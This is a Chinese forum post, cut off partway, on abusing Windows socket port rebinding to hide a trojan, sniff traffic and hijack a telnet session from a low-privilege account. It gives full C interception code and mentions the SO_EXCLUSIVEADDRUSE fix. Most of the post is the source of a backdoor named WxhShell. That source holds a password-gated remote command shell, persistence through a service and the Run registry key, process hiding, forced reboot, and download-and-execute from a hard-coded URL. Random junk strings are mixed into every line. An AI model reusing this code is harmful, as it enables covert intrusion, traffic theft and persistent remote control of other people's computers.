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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pj!k|F9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,3wI~ j=  
#rhVzN-?)W  
  saddr.sin_family = AF_INET; 2LCc  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 20 jrv'f  
Nhjle@J<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C$KaT3I  
N+*(Y5TU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2B6^ ]pSk  
EG F:xl  
  这意味着什么?意味着可以进行如下的攻击: 9|J8]m?x  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1k!D0f3qb  
h=X7,2/<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5T!&r  
i0ILb/LS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3cmbK  
-0A@38, }  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YEg .  
q:xtm?'$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "AT&!t[J  
bZxv/\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o:Ln._bj  
qsI{ b<n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |!$ Q<-]f  
p])D)FsMB  
  #include ~ wfoK7T}  
  #include k%"$$uo  
  #include c}YJqhk0J  
  #include    929#Q#TT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ILNE 4n  
  int main() }j& O/ Up  
  { -Bl/ 4p  
  WORD wVersionRequested; n(Qj||:  
  DWORD ret; S{o@QVbl  
  WSADATA wsaData; {;U}:Dx  
  BOOL val; w+Ad$4Pf"  
  SOCKADDR_IN saddr; G"}qV%"6"  
  SOCKADDR_IN scaddr; )$MS 0[?  
  int err; [Dnusp7e  
  SOCKET s; (&q@~ dJ  
  SOCKET sc; aLV~|$: 2  
  int caddsize; [fd~nD#.  
  HANDLE mt; %rFP#L  
  DWORD tid;   }%_qx|(P|t  
  wVersionRequested = MAKEWORD( 2, 2 ); .8-PB*vb  
  err = WSAStartup( wVersionRequested, &wsaData ); )8:n}w  
  if ( err != 0 ) { K3Huu!Tr  
  printf("error!WSAStartup failed!\n"); [0K=I64 z  
  return -1; 1Pu ,:Jt  
  } Q?W r7  
  saddr.sin_family = AF_INET; OdO{xG G@  
   {PL,VY)Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 baqn7k"  
7^HpVcSM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "_t4F4z  
  saddr.sin_port = htons(23); X8 8F>1}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8a7YHUL<3i  
  { wtlB  
  printf("error!socket failed!\n"); [70Y,,w  
  return -1; Mk<m6E$L  
  } X z8$Xz,O  
  val = TRUE; <|otZJ'2r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ! &y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [qSQ#Qzi2i  
  { k9cK b f@  
  printf("error!setsockopt failed!\n"); GX7VlI[  
  return -1; m{VL\ g)  
  } Bhj:9%`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &.hoC Po$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JL@F~U9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v<j2L"bj  
D4d]3|/T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *`%4loW  
  { .Xi2G@D  
  ret=GetLastError(); T)`gm{T  
  printf("error!bind failed!\n"); ohtT O]\  
  return -1; NOV.Bs{ yL  
  } 8:~b &>   
  listen(s,2); eVTO#R*'|  
  while(1) }&mj.hGv  
  { {798=pC<.  
  caddsize = sizeof(scaddr); rYbCOazr  
  //接受连接请求 ;jF%bE3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (yfXMp,x  
  if(sc!=INVALID_SOCKET) ]XY0c6 <  
  { 4AJ9`1d4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o94P I*.  
  if(mt==NULL) D$ej+s7  
  { hRk,vB ]  
  printf("Thread Creat Failed!\n"); _<XgC\4O|  
  break; k/U>N|5  
  } B+|IZoR  
  } 2f `&WUe  
  CloseHandle(mt); ^+EMZFjg(  
  } g2A"1w<-AH  
  closesocket(s); D_Guc8*  
  WSACleanup(); >cTjA):  
  return 0; R^uc%onP  
  }   rj}(muM,R  
  DWORD WINAPI ClientThread(LPVOID lpParam) D6Dn&/>Zp  
  { Rw/Ciw2@?  
  SOCKET ss = (SOCKET)lpParam; !1("(Eb  
  SOCKET sc; _$!`VA%  
  unsigned char buf[4096]; pVY4q0@  
  SOCKADDR_IN saddr; SGQD ro=l  
  long num; Jlz9E|*qV  
  DWORD val; ]/a g*F  
  DWORD ret; 7O"hiDQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hc"6u\>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _nP)uU$  
  saddr.sin_family = AF_INET; {b[tA, >  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hw*1gm  
  saddr.sin_port = htons(23);  C[R`Ml  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +eC3?B8rN  
  { .3(;9};  
  printf("error!socket failed!\n"); _Cj(fFL  
  return -1; %oR>Uo  
  } M= atls  
  val = 100; URLk9PI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Mur*tj#  
  { ERp{gB2U?  
  ret = GetLastError(); w?*j dwh,'  
  return -1; ^zHRSO  
  } CGkI\E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (ZS/@He  
  { wz h.$?~  
  ret = GetLastError(); fwy"w  
  return -1; Q4=|@|U0  
  } bK?MT]%}r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *{Yh6 {  
  { Hl/7(FJqc>  
  printf("error!socket connect failed!\n"); ^:+Rg}]W^  
  closesocket(sc); zPHy2H$28  
  closesocket(ss);  J+lGh9G  
  return -1; sSz%V[X WL  
  } G@B*E%$9  
  while(1) ^g[J*{+!W  
  { an.`dBm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oCbpK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B2Qp}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jx'2N~$  
  num = recv(ss,buf,4096,0); V'C-'Ythwf  
  if(num>0) vcwK6G  
  send(sc,buf,num,0); HZ{n&iJ  
  else if(num==0) fQP,=  
  break; H@Q`  
  num = recv(sc,buf,4096,0); rtus`A5p  
  if(num>0) ![).zi+m  
  send(ss,buf,num,0); +O4(a.  
  else if(num==0) o_(0  
  break; 7pP+5&*  
  } <&6u]uKrW  
  closesocket(ss); D,E$_0  
  closesocket(sc); y~dB5/  
  return 0 ; =tnTdp0F  
  } zWb -pF|  
F(;jM(  
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========================================================== :pb67Al29  
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下边附上一个代码,,WXhSHELL ld95[cTP  
1 #q^uqO0  
========================================================== S*xhX1yUi  
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#include "stdafx.h" R5gado  
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#include <stdio.h> 0U%Xm[:  
#include <string.h> *%I[ ke *  
#include <windows.h> 4~Dax)  
#include <winsock2.h> UUH;L  
#include <winsvc.h> DRp&IP<  
#include <urlmon.h> F3Ap1-%z  
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#pragma comment (lib, "Ws2_32.lib") MUB37  
#pragma comment (lib, "urlmon.lib") M!#AfIyB  
Ok*Z  
#define MAX_USER   100 // 最大客户端连接数 >T QZk4$  
#define BUF_SOCK   200 // sock buffer {\L|s5=yr  
#define KEY_BUFF   255 // 输入 buffer 4#7Umj  
9qre|AA  
#define REBOOT     0   // 重启 +aj^Cs1$  
#define SHUTDOWN   1   // 关机 i5VG2S  
nEyI t&> 9  
#define DEF_PORT   5000 // 监听端口 SY|Ez!tU:N  
Z}+yI,  
#define REG_LEN     16   // 注册表键长度 6"+8M 3M l  
#define SVC_LEN     80   // NT服务名长度 /BT1oWi1y  
!LiQ 1`V{  
// 从dll定义API -;U3w.-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EX+,:l\^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gB >pd?d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H]]c9`ayt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~z`/9 ;  
eC;!YG Z  
// wxhshell配置信息 *i@T!O(1)M  
struct WSCFG { ED/FlL{  
  int ws_port;         // 监听端口 y1#O%=g  
  char ws_passstr[REG_LEN]; // 口令 R*\~k%Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no r :NH6tAL  
  char ws_regname[REG_LEN]; // 注册表键名 ~~q}cywBk  
  char ws_svcname[REG_LEN]; // 服务名 {_(+>v"eJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zih ?Bm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lV)G@l[1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  NpR6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3nrqo<X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Hwbw],kl8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A="fj  
q#'VJA:A5&  
}; p[-{]!  
`m, Ki69.  
// default Wxhshell configuration N+J>7_k   
struct WSCFG wscfg={DEF_PORT, s/h7G}Mu  
    "xuhuanlingzhe", ul=7>";=|  
    1, M~p=#V1D  
    "Wxhshell", (Q_2ODKo  
    "Wxhshell", K$ AB} Fvc  
            "WxhShell Service", "xn|zB  
    "Wrsky Windows CmdShell Service", LABNj{=D!  
    "Please Input Your Password: ", :Y^I]`lR"  
  1, I="oxf#q  
  "http://www.wrsky.com/wxhshell.exe", PQ3h\CL1n  
  "Wxhshell.exe" dyO E6Ex  
    }; fI]bzv;  
qtY m!g  
// 消息定义模块 n_9x"m$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F@EJtwLd5y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >A=\8`T^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (bvoF5%  
char *msg_ws_ext="\n\rExit."; <xqba4O  
char *msg_ws_end="\n\rQuit."; { 8p\Y  
char *msg_ws_boot="\n\rReboot..."; SK-W%t  
char *msg_ws_poff="\n\rShutdown..."; v)+@XU2wZ  
char *msg_ws_down="\n\rSave to "; "Yb y  
]Uh 1l.O  
char *msg_ws_err="\n\rErr!"; ="dDA/,$VS  
char *msg_ws_ok="\n\rOK!"; !^L-T?y.2  
8&."uEOOU  
char ExeFile[MAX_PATH]; Dft%ip2  
int nUser = 0; M _(2sq  
HANDLE handles[MAX_USER]; o%qkqK1  
int OsIsNt; v ): V  
RHI&j~  
SERVICE_STATUS       serviceStatus; " '[hr$h3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }dKLMNqPA  
xqv[? ?  
// 函数声明 .Q[yD<)Ubs  
int Install(void); F. T@)7  
int Uninstall(void); 'Sa!5h  
int DownloadFile(char *sURL, SOCKET wsh); mgcN(n1  
int Boot(int flag); 2*Q3.2 Z  
void HideProc(void); 7"K^H]6u30  
int GetOsVer(void); z 6cYC,  
int Wxhshell(SOCKET wsl); !Rqx2Q  
void TalkWithClient(void *cs); gQ+9xTd  
int CmdShell(SOCKET sock); q~O>a0f0  
int StartFromService(void); ]! )xr  
int StartWxhshell(LPSTR lpCmdLine); "i%jQL'.  
LS6ry,D"7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8t[t{"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d.cCbr:  
 C0<YH "  
// 数据结构和表定义 U&Ab# m;  
SERVICE_TABLE_ENTRY DispatchTable[] = _-TOeP8#94  
{ y\z > /q  
{wscfg.ws_svcname, NTServiceMain}, 6#|qg*OS  
{NULL, NULL} >qpqQ; bm  
}; 8Zw]f-5x\  
;"@:}_t  
// 自我安装 !FP"M+  
int Install(void) De]^&qw(  
{ ?!7 SzLll  
  char svExeFile[MAX_PATH]; 4swKjN &  
  HKEY key; 1Is%]6  
  strcpy(svExeFile,ExeFile); GA@ Ue9  
c/'M#h)"  
// 如果是win9x系统,修改注册表设为自启动 wko2M[  
if(!OsIsNt) { 4m /TW)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HfZtL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2fbU-9Rfn  
  RegCloseKey(key); WHk/$7_"i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G"> 0]LQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2-s7cXs  
  RegCloseKey(key); OZT^\Ky_l  
  return 0; S&01SX6  
    } `Cg^in\  
  } !tBeuemN%  
} rS,j;8D-  
else { ~p.%.b;~t  
\JU{xQMB  
// 如果是NT以上系统,安装为系统服务 bKUyBk,\#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J7n5Ps\M  
if (schSCManager!=0) w_3xKnMT\  
{ g ;LVECk  
  SC_HANDLE schService = CreateService )!a$#"'  
  ( ^aptLJF  
  schSCManager, D'n7&Y  
  wscfg.ws_svcname, WW6yFriuW  
  wscfg.ws_svcdisp, ~S;!T  
  SERVICE_ALL_ACCESS, Lzz) n%y5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V{GXc:=  
  SERVICE_AUTO_START, rhoeZ  
  SERVICE_ERROR_NORMAL, x.\XUJ4x  
  svExeFile, 4#h ?Wga  
  NULL, +5-fk>o  
  NULL, ZpWu,1  
  NULL, i@6wO?Tv  
  NULL, $3 vhddO  
  NULL >%h7dC3h  
  ); R,b59,&3/  
  if (schService!=0) v F[CWV.  
  { x~Agm_Tu+'  
  CloseServiceHandle(schService); 6RP+4c  
  CloseServiceHandle(schSCManager); n1?}Xq|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L$}g3{  
  strcat(svExeFile,wscfg.ws_svcname); LU( %K{9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pyF5S,c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G4m4k  
  RegCloseKey(key); HEpM4xe$  
  return 0; 8Z!*[c>K-?  
    } +f|6AeE  
  } IfB/O.;Kz  
  CloseServiceHandle(schSCManager); *]2R.u  
} C fSl 54  
} n}:t<  
AsAFUuI  
return 1; n.Vtc-yZU  
} "*bk{)dz}  
bP03G =`6w  
// 自我卸载 lC2?sD$  
int Uninstall(void) n$ dw<y  
{ 7V 'Le2T'  
  HKEY key; 6V P)$h8  
ZOn_dYjC  
if(!OsIsNt) { J | q^+K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B kV(81"C  
  RegDeleteValue(key,wscfg.ws_regname); jN{Zw*  
  RegCloseKey(key); H|K("AVP:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e/@29  
  RegDeleteValue(key,wscfg.ws_regname); w%rg\E  
  RegCloseKey(key); j8c6[ih  
  return 0; 3I\m,Ob  
  } oXbI5XY)wb  
} @p6@a6N%  
} avy=0Jmj  
else { J&_3VKrN  
6qDfcs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wvb Eh|y  
if (schSCManager!=0) e{JVXc[D  
{ 6WO7+M;z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~$*`cO  
  if (schService!=0) 6e/7'TYwT  
  { RF!'K ko  
  if(DeleteService(schService)!=0) { ZYDW v/u  
  CloseServiceHandle(schService); ]<+3Vw  
  CloseServiceHandle(schSCManager); 4(8<w cL  
  return 0; FW5}oD( H  
  } /W0E(8:C)  
  CloseServiceHandle(schService); =%L@WVbM  
  } 9#fp_G;=  
  CloseServiceHandle(schSCManager); n. I2$._(b  
} ?$16 A+  
} `[bJYZBc2  
(Z 8,e  
return 1; lvx]jd\  
} /4-}k  
\kyM}5G(<0  
// 从指定url下载文件 Vpw[B.v  
int DownloadFile(char *sURL, SOCKET wsh) 5Edo%Hd6  
{ zU b8NOi  
  HRESULT hr; hMWo\qM  
char seps[]= "/"; }U i_ynZ!  
char *token; W6M jQ%f  
char *file;  ;b|  
char myURL[MAX_PATH]; '{CWanTPi  
char myFILE[MAX_PATH]; `{<JC{yc?  
qS| AdkNL  
strcpy(myURL,sURL); E#a ZvE  
  token=strtok(myURL,seps); gZ*hkKN6  
  while(token!=NULL) N;g$)zCV1  
  { !h*B (,  
    file=token; *73AAA5LKa  
  token=strtok(NULL,seps); qy6K,/& 3  
  } 0:#7M}U  
ZHcONYAr  
GetCurrentDirectory(MAX_PATH,myFILE); Y.X4*B  
strcat(myFILE, "\\"); DiR'p`b~  
strcat(myFILE, file); <uC<GDO  
  send(wsh,myFILE,strlen(myFILE),0); E$R_rX4x  
send(wsh,"...",3,0); wcl!S{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VW~Xbyf  
  if(hr==S_OK) VRB~7\A5<)  
return 0; x RB7lV*  
else ivD^HhG  
return 1; $Ba`VGP>)3  
E^82==R  
} "\<P$&`HA  
58PKx5`D  
// 系统电源模块 _)q4I(s*  
int Boot(int flag) 7~D`b1||  
{ 4/f[`].#W  
  HANDLE hToken; YLigP"*~^  
  TOKEN_PRIVILEGES tkp; LC76Qi;|k  
ho_4fDv  
  if(OsIsNt) { 7g8B'ex J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aTX]+tBoe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t%:G|n Sz  
    tkp.PrivilegeCount = 1; #.b^E3#+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *.xZfi_|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i j!*CTG  
if(flag==REBOOT) { 7G2vYKC'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IX?@~'  
  return 0; egbb1+tY  
} OFQ{9  
else { "!^c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'cYQ ?;  
  return 0; ze ?CoDx2  
} tbY  SK  
  } =:;YTie  
  else { xp(mB7;:  
if(flag==REBOOT) { HI z9s4Y_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $CM4&{B"i  
  return 0; M",];h(I6(  
} 1-/4Y5?}  
else { J7_8$B-j7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c9|I4=_K  
  return 0; zQn//7#-G  
} Ae.]F)w_\  
} `P#8(GU  
`k!UjO72  
return 1; W!y)Ho  
} }\U0[x#q  
BJ"Ay@D*  
// win9x进程隐藏模块 }0vtc[!  
void HideProc(void) wqf&i^_  
{ tG_-;03<`4  
WVinP(#nfM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B JU*`Tx  
  if ( hKernel != NULL ) > e;]mU`,  
  { UUD\bWfn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JTjzT2`A.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8.PXTOhVL  
    FreeLibrary(hKernel); Z5yt]-WN&  
  } T4l-sJ'|  
k-io$  
return; yB|]LYh  
} +A&EKk%$ |  
P&h/IBA_  
// 获取操作系统版本 F>TYVxQ  
int GetOsVer(void) $+iu\MuX  
{ zz[g{[SN  
  OSVERSIONINFO winfo; O~nBz):2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v]l&dgoT  
  GetVersionEx(&winfo); \l>q Y(gu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %}\ vW  
  return 1; K90D1sD  
  else {jrZ?e-q  
  return 0; IruyE(;HS  
} DS.39NY  
:~-)Sm+^  
// 客户端句柄模块 VyRW'  
int Wxhshell(SOCKET wsl) dE+CIjW5  
{ 9UB??049z  
  SOCKET wsh; 2&suo!ig  
  struct sockaddr_in client; _!| =AIX  
  DWORD myID; <XU8a:w'T  
h5<T.vV  
  while(nUser<MAX_USER) h 3eGq:!9  
{ Xqc'R5C w  
  int nSize=sizeof(client); X S6]C{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f2BS[$oV4  
  if(wsh==INVALID_SOCKET) return 1; WNCM|VUl  
;GiI'M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nLzX Z6JlU  
if(handles[nUser]==0) V+P8P7y37B  
  closesocket(wsh); /QV [N  
else 'O!Z:-qE  
  nUser++; X}_QZO=z  
  } 8}ii3Py  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p)K9 ZI  
aE%eJ)+K  
  return 0; tU8g(ep,o  
} !E4E'I=]N  
tn(f rccy  
// 关闭 socket i!s~kk  
void CloseIt(SOCKET wsh) f0:EQYYZ  
{ "US" `a2  
closesocket(wsh); e5]&1^+  
nUser--; 4W[AXDS  
ExitThread(0); C}t+t  
} Z5"!0B^ j  
6GvhEulYR  
// 客户端请求句柄 fRZUY <t  
void TalkWithClient(void *cs) \VoB=Ac&  
{ cq+nWHqF{J  
?6_"nT*}  
  SOCKET wsh=(SOCKET)cs; Ah(\%35&  
  char pwd[SVC_LEN]; Ak<IHp^Q  
  char cmd[KEY_BUFF]; dj8F6\  
char chr[1]; 48R]\B<R{  
int i,j; C5.\;;7^&  
Q1P,=T@  
  while (nUser < MAX_USER) { $8<j5%/ $M  
GapX$Jb,p  
if(wscfg.ws_passstr) { zav*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XHwZ+=v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HV#?6,U}  
  //ZeroMemory(pwd,KEY_BUFF); O>)n*OsS  
      i=0; G2U5[\  
  while(i<SVC_LEN) { }I` ku.@5  
J)#5 9a  
  // 设置超时 xfbK eS8  
  fd_set FdRead; +?4*,8Tmmz  
  struct timeval TimeOut; +ZD[[+  
  FD_ZERO(&FdRead); Eg287B  
  FD_SET(wsh,&FdRead); +MOe{:/6  
  TimeOut.tv_sec=8; CuV=C Ay>  
  TimeOut.tv_usec=0; 4\ uZKv@,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <lg"M;&Ht  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); luP'JUq  
n1k$)S$iiy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wl9I`Itg  
  pwd=chr[0]; a#OhWqu$  
  if(chr[0]==0xd || chr[0]==0xa) { Vq)|gF[6i  
  pwd=0; *SMoodFBS  
  break; b#/V;  
  } 0+VncL)u  
  i++; 1@1+4P0NF[  
    } %^Q@*+{:f  
Zu [?'  
  // 如果是非法用户,关闭 socket b.w(x*a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c_D,MW\IC  
} oHc-0$eMKY  
,=q7}5o Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5 b#" G"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mcP{-oJ0W  
=/!{<^0  
while(1) {  \\E_W9.u  
8CN7+V  
  ZeroMemory(cmd,KEY_BUFF); g 'd*TBnk  
+Y.uZJ6+  
      // 自动支持客户端 telnet标准   J*^,l`C/  
  j=0; p;c_<>ws-Y  
  while(j<KEY_BUFF) { IV 3@6t4k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w|hyU4- ^  
  cmd[j]=chr[0]; rH#c:BwSm  
  if(chr[0]==0xa || chr[0]==0xd) { Wf+Cc?/4  
  cmd[j]=0; h M1&A  
  break; qxecp2>U  
  } /64^5DjTh  
  j++; toYg$IV  
    } +r#=n7 t  
 5Xy^I^J  
  // 下载文件 K{r1&O>W  
  if(strstr(cmd,"http://")) { dwf #~7h_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l9ch  
  if(DownloadFile(cmd,wsh)) MK!]y8+Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ztpm_P6  
  else c9cphZ(z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {C,1w  
  } ]C!Y~  
  else { 8g2-8pa{  
*Wuctu^9  
    switch(cmd[0]) { m_PrasZ>  
  ]<o.aMdV  
  // 帮助 (x@i,Ba@  
  case '?': { QB.*R?A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;'WzfJ!q  
    break; dWq/)%@t  
  } )W}/k$S  
  // 安装 3 DO$^JJ.  
  case 'i': { ^S;RX*  
    if(Install()) 0[$Mo3c+'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rz%[o,s  
    else A aF5`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kgbr+Yw2X  
    break; >1)@n3.<O  
    } 1X!f!0=g+  
  // 卸载 lJz?QI1  
  case 'r': { "DcueU#!  
    if(Uninstall()) < 4EB|@E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * F%ol;|Q  
    else &:e}4/G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D0E"YEo\nv  
    break; 6UzT]"LR;  
    } j O5:{%  
  // 显示 wxhshell 所在路径 ym,Ot1  
  case 'p': { `Hp.%G(  
    char svExeFile[MAX_PATH]; n[cyK$"  
    strcpy(svExeFile,"\n\r"); #&`WMLl+8  
      strcat(svExeFile,ExeFile); &Ow?Hd0  
        send(wsh,svExeFile,strlen(svExeFile),0); ^1FZ`2u;  
    break; ;P0Y6v3  
    } &L~31Ayj&  
  // 重启 )(|0KarF  
  case 'b': { /NN[gz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,h(f\h(9  
    if(Boot(REBOOT)) JXy667_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /K<GN7vN  
    else { 39a]B`y  
    closesocket(wsh); ptcH>wM!  
    ExitThread(0); Rp%\`'+Xz  
    } C4SD  
    break; :+dWJNY:  
    } HV.|Eh_7  
  // 关机 52C-D+zCJ  
  case 'd': { x#e\ H F  
